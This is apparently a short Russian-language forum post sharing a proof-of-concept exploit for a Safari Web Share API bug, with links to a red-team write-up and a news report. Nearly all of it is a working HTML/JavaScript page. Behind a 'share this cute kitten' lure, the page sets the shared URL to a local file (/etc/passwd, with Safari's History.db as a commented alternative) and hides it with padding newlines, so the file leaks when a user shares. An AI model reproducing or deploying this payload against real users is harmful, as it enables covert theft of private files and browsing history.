Пожалуйста, обратите внимание, что пользователь заблокирован
PoC
Подробности: https://blog.redteam.pl/2020/08/stealing-local-files-using-safari-web.html
Новости: https://xakep.ru/2020/08/25/safari-web-share-bug/
JavaScript:
<html>
<script>
var opts = {text: 'check out this cute kitten! http://somerandomimagewebsite.com/cat.jpg\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url:
/* 'file:///private/var/mobile/Library/Safari/History.db' */
'file:///etc/passwd'};
function run() {
navigator.share(opts);
}
</script>
<body>
Check out this cute kitten!
<br/>
<img width="200px" height="200px" src="cat.jpg">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>
Подробности: https://blog.redteam.pl/2020/08/stealing-local-files-using-safari-web.html
Новости: https://xakep.ru/2020/08/25/safari-web-share-bug/